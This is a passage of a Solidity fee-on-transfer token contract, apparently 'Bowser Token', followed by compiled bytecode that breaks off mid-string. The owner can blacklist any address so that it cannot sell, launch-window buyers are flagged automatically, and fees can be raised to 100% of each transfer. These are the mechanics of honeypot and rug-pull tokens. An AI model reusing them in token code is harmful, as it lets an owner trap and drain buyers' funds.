uint256 public _buybackPercent = 67;
mapping(address => bool) private bots;
address payable private _marketingAddress = payable(0xe692CD512Fa70FCbcACF984C6a210B1A992152Ec);
address payable private _buybackAddress = payable(0xE7a1a9027613CCF3b63cF5773DdCEf3107DE8966);
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
uint256 private _maxTxAmount;
bool private tradingOpen = false;
bool private inSwap = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent);
event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max);
_maxTxAmount = _tTotal; // start off transaction limit at 100% of total supply
balances[_msgSender()] = _tTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_buybackAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() override public pure returns (string memory) {
return _name;
}
function symbol() override public pure returns (string memory) {
return _symbol;
}
function decimals() override public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function removeAllFee() private {
if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
_marketingFee = 0;
_buybackFee = 0;
_devFee = 0;
}
function restoreAllFee() private {
_marketingFee = _previousMarketingFee;
_buybackFee = _previousBuybackFee;
_devFee = _previousDevFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(tradingOpen);
require(amount <= _maxTxAmount);
if (block.timestamp <= _firstBlock + (5 minutes)) { // max transaction amount is 1% during first five minutes of trading
require(amount <= _tTotal.div(100));
}
if (from == uniswapV2Pair && to != address(uniswapV2Router)) { // buys
if (block.timestamp <= _firstBlock.add(_botBlocks)) {
bots[to] = true;
}
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { // sells, transfers (except for buys)
require(!bots[to] && !bots[from]); // bots can't sell or transfer
if (contractTokenBalance > 0) {
swapTokensForEth(contractTokenBalance);
}
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
restoreAllFee();
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount.mul(_marketingPercent).div(100));
_buybackAddress.transfer(amount.mul(_buybackPercent).div(100));
}
function openTrading(uint256 botBlocks) external onlyOwner() {
_firstBlock = block.timestamp;
_botBlocks = botBlocks;
tradingOpen = true;
}
function manualswap() external {
require(_msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private {
if (!takeFee) removeAllFee();
(uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount);
balances[sender] = balances[sender].sub(tAmount);
balances[recipient] = balances[recipient].add(tTransferAmount);
_takeBuyback(tBuyback);
_takeMarketing(tMarketing);
_takeDev(tDev);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeBuyback(uint256 tBuyback) private {
balances[address(this)] = balances[address(this)].add(tBuyback);
}
function _takeMarketing(uint256 tMarketing) private {
balances[address(this)] = balances[address(this)].add(tMarketing);
}
function _takeDev(uint256 tDev) private {
balances[address(this)] = balances[address(this)].add(tDev);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
uint256 tBuyback = tAmount.mul(_buybackFee).div(1000);
uint256 tMarketing = tAmount.mul(_marketingFee).div(1000);
uint256 tDev = tAmount.mul(_devFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing);
tTransferAmount -= tDev;
return (tTransferAmount, tBuyback, tMarketing, tDev);
}
function excludeFromFee(address account) public onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) public onlyOwner {
_isExcludedFromFee[account] = false;
}
function removeBot(address account) public onlyOwner() {
bots[account] = false;
}
function addBot(address account) public onlyOwner() {
bots[account] = true;
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() {
require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100");
_marketingPercent = marketingPercent;
_buybackPercent = buybackPercent;
emit PercentsUpdated(_marketingPercent, _buybackPercent);
}
function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() {
require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000");
_marketingFee = marketingFee;
_buybackFee = buybackFee;
_devFee = devFee;
_previousMarketingFee = _marketingFee;
_previousBuybackFee = _buybackFee;
_previousDevFee = _devFee;
emit FeesUpdated(_marketingFee, _buybackFee, _devFee);
}
} | 0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612baa565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906127fa565b610663565b60405161020b9190612b8f565b60405180910390f35b34801561022057600080fd5b50610229610681565b6040516102369190612d2c565b60405180910390f35b34801561024b57600080fd5b50610254610692565b6040516102619190612d2c565b60405180910390f35b34801561027657600080fd5b5061027f610698565b60405161028c9190612d2c565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127ab565b61069e565b6040516102c99190612b8f565b60405180910390f35b3480156102de57600080fd5b506102e7610777565b6040516102f49190612e01565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061271d565b610780565b005b34801561033257600080fd5b5061033b610870565b6040516103489190612b74565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061271d565b610896565b005b34801561038657600080fd5b5061038f610986565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061271d565b6109f8565b6040516103c59190612d2c565b60405180910390f35b3480156103da57600080fd5b506103e3610a41565b005b3480156103f157600080fd5b506103fa610b94565b6040516104079190612d2c565b60405180910390f35b34801561041c57600080fd5b50610425610b9a565b6040516104329190612b74565b60405180910390f35b34801561044757600080fd5b50610450610bc3565b60405161045d9190612baa565b60405180910390f35b34801561047257600080fd5b5061048d600480360381019061048891906127fa565b610c00565b60405161049a9190612b8f565b60405180910390f35b3480156104af57600080fd5b506104b8610c1e565b6040516104c59190612d2c565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061285f565b610c24565b005b34801561050357600080fd5b5061050c610d5d565b005b34801561051a57600080fd5b5061053560048036038101906105309190612836565b610dd7565b005b34801561054357600080fd5b5061055e60048036038101906105599190612836565b610e98565b005b34801561056c57600080fd5b506105876004803603810190610582919061276f565b610fe1565b6040516105949190612d2c565b60405180910390f35b3480156105a957600080fd5b506105b2611068565b6040516105bf9190612d2c565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea919061289b565b61106e565b005b3480156105fd57600080fd5b506106186004803603810190610613919061271d565b6111e2565b005b34801561062657600080fd5b50610641600480360381019061063c919061271d565b6112d2565b005b606060405180606001604052806022815260200161338b60229139905090565b60006106776106706113c2565b84846113ca565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106ab848484611595565b61076c846106b76113c2565b610767856040518060600160405280602881526020016133ad60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061071d6113c2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b929092919063ffffffff16565b6113ca565b600190509392505050565b60006009905090565b6107886113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610815576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080c90612c8c565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b61089e6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461092b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161092290612c8c565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109c76113c2565b73ffffffffffffffffffffffffffffffffffffffff16146109e757600080fd5b60004790506109f581611bf6565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a496113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ad6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610acd90612c8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600c81526020017f426f7773657220546f6b656e0000000000000000000000000000000000000000815250905090565b6000610c14610c0d6113c2565b8484611595565b6001905092915050565b600c5481565b610c2c6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cb090612c8c565b60405180910390fd5b6064610cce8284611d1990919063ffffffff16565b14610d0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0590612ccc565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d51929190612da1565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d9e6113c2565b73ffffffffffffffffffffffffffffffffffffffff1614610dbe57600080fd5b6000610dc9306109f8565b9050610dd481611d77565b50565b610ddf6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6390612c8c565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ea06113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2490612c8c565b60405180910390fd5b60008111610f70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6790612c2c565b60405180910390fd5b610f9f6064610f9183683635c9adc5dea0000061207190919063ffffffff16565b6120ec90919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610fd69190612d2c565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110766113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90612c8c565b60405180910390fd5b6103e861112b8261111d8587611d1990919063ffffffff16565b611d1990919063ffffffff16565b111561116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390612c4c565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b81905550600854600981905550600c54600d819055507fcf8a1e1d5f09cf3c97dbb653cd9a4d7aace9292fbc1bb8211febf2d400febbdd600a54600854600c546040516111d593929190612dca565b60405180910390a1505050565b6111ea6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e90612c8c565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6112da6113c2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611367576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135e90612c8c565b60405180910390fd5b6001601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561143a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143190612d0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a190612bec565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115889190612d2c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115fc90612cec565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611675576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161166c90612bcc565b60405180910390fd5b600081116116b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116af90612cac565b60405180910390fd5b6116c0610b9a565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561172e57506116fe610b9a565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ac757601660009054906101000a900460ff1661174c57600080fd5b60155481111561175b57600080fd5b61012c60065461176b9190612e71565b421161179b5761178e6064683635c9adc5dea000006120ec90919063ffffffff16565b81111561179a57600080fd5b5b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156118465750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156118c257611862600754600654611d1990919063ffffffff16565b42116118c1576001601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b60006118cd306109f8565b9050601660019054906101000a900460ff1615801561193a5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156119905750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e65750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ac557601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a8f5750601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611a9857600080fd5b6000811115611aab57611aaa81611d77565b5b60004790506000811115611ac357611ac247611bf6565b5b505b505b600060019050600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611b6e5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611b7857600090505b611b8484848484612136565b611b8c61230f565b50505050565b6000838311158290611bda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd19190612baa565b60405180910390fd5b5060008385611be99190612f52565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611c5a6064611c4c600e548661207190919063ffffffff16565b6120ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611c85573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cea6064611cdc600f548661207190919063ffffffff16565b6120ec90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d15573d6000803e3d6000fd5b5050565b6000808284611d289190612e71565b905083811015611d6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6490612c0c565b60405180910390fd5b8091505092915050565b6001601660016101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611dd5577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e035781602001602082028036833780820191505090505b5090503081600081518110611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ee357600080fd5b505afa158015611ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f1b9190612746565b81600181518110611f55577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fbc30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846113ca565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612020959493929190612d47565b600060405180830381600087803b15801561203a57600080fd5b505af115801561204e573d6000803e3d6000fd5b50505050506000601660016101000a81548160ff02191690831515021790555050565b60008083141561208457600090506120e6565b600082846120929190612ef8565b90508284826120a19190612ec7565b146120e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120d890612c6c565b60405180910390fd5b809150505b92915050565b600061212e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061232c565b905092915050565b806121445761214361238f565b5b600080600080612153866123f1565b93509350935093506121ad86600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124cc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061224284600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228e83612516565b612297826125ae565b6122a081612646565b8673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516122fd9190612d2c565b60405180910390a35050505050505050565b600b54600a81905550600954600881905550600d54600c81905550565b60008083118290612373576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236a9190612baa565b60405180910390fd5b50600083856123829190612ec7565b9050809150509392505050565b6000600a541480156123a357506000600854145b80156123b157506000600c54145b156123bb576123ef565b600a54600b81905550600854600981905550600c54600d819055506000600a8190555060006008819055506000600c819055505b565b60008060008060006124226103e86124146008548961207190919063ffffffff16565b6120ec90919063ffffffff16565b9050600061244f6103e8612441600a548a61207190919063ffffffff16565b6120ec90919063ffffffff16565b9050600061247c6103e861246e600c548b61207190919063ffffffff16565b6120ec90919063ffffffff16565b905060006124a583612497868c6124cc90919063ffffffff16565b6124cc90919063ffffffff16565b905081816124b39190612f52565b9050808484849750975097509750505050509193509193565b600061250e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611b92565b905092915050565b61256881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61260081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b61269881600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d1990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b6000813590506126ed8161335c565b92915050565b6000815190506127028161335c565b92915050565b60008135905061271781613373565b92915050565b60006020828403121561272f57600080fd5b600061273d848285016126de565b91505092915050565b60006020828403121561275857600080fd5b6000612766848285016126f3565b91505092915050565b6000806040838503121561278257600080fd5b6000612790858286016126de565b92505060206127a1858286016126de565b9150509250929050565b6000806000606084860312156127c057600080fd5b60006127ce868287016126de565b93505060206127df868287016126de565b92505060406127f086828701612708565b9150509250925092565b6000806040838503121561280d57600080fd5b600061281b858286016126de565b925050602061282c85828601612708565b9150509250929050565b60006020828403121561284857600080fd5b600061285684828501612708565b91505092915050565b6000806040838503121561287257600080fd5b600061288085828601612708565b925050602061289185828601612708565b9150509250929050565b6000806000606084860312156128b057600080fd5b60006128be86828701612708565b93505060206128cf86828701612708565b92505060406128e086828701612708565b9150509250925092565b60006128f68383612902565b60208301905092915050565b61290b81612f86565b82525050565b61291a81612f86565b82525050565b600061292b82612e2c565b6129358185612e4f565b935061294083612e1c565b8060005b8381101561297157815161295888826128ea565b975061296383612e42565b925050600181019050612944565b5085935050505092915050565b61298781612f98565b82525050565b61299681612fdb565b82525050565b60006129a782612e37565b6129b18185612e60565b93506129c1818560208601612fed565b6129ca8161307e565b840191505092915050565b60006129e2602383612e60565b91506129ed8261308f565b604082019050919050565b6000612a05602283612e60565b9150612a10826130de565b604082019050919050565b6000612a28601b83612e60565b9150612a338261312d565b602082019050919050565b6000612a4b601d83612e60565b9150612a5682613156565b602082019050919050565b6000612a6e602783612e60565b9150612a798261317f565b604082019050919050565b6000612a91602183612e60565b9150612a9c826131ce565b604082019050919050565b6000612ab4602083612e60565b9150612abf8261321d565b602082019050919050565b6000612ad7602983612e60565b9150612ae282613246565b604082019050919050565b6000612afa601e83612e60565b9150612b0582613295565b602082019050919050565b6000612b1d602583612e60565b9150612b28826132be565b604082019050919050565b6000612b40602483612e60565b9150612b4b8261330d565b604082019050919050565b612b5f81612fc4565b82525050565b612b6e81612fce565b82525050565b6000602082019050612b896000830184612911565b92915050565b6000602082019050612ba4600083018461297e565b92915050565b60006020820190508181036000830152612bc4818461299c565b905092915050565b60006020820190508181036000830152612be5816129d5565b9050919050565b60006020820190508181036000830152612c05816129f8565b9050919050565b60006020820190508181036000830152612c2581612a1b565b9050919050565b60006020820190508181036000830152612c4581612a3e565b9050919050565b60006020820190508181036000830152612c6581612a61565b9050919050565b60006020820190508181036000830152612c8581612a84565b9050919050565b60006020820190508181036000830152612ca581612aa7565b9050919050565b60006020820190508181036000830152612cc581612aca565b9050919050565b60006020820190508181036000830152612ce581612aed565b9050919050565b60006020820190508181036000830152612d0581612b10565b9050919050565b60006020820190508181036000830152612d2581612b33565b9050919050565b6000602082019050612d416000830184612b56565b92915050565b600060a082019050612d5c6000830188612b56565b612d69602083018761298d565b8181036040830152612d7b8186612920565b9050612d8a6060830185612911565b612d976080830184612b56565b9695505050505050565b6000604082019050612db66000830185612b56565b612dc36020830184612b56565b9392505050565b6000606082019050612ddf6000830186612b56565b612dec6020830185612b56565b612df96040830184612b56565b949350505050565b6000602082019050612e166000830184612b65565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb613020565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec61304f565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f46613020565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a613020565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726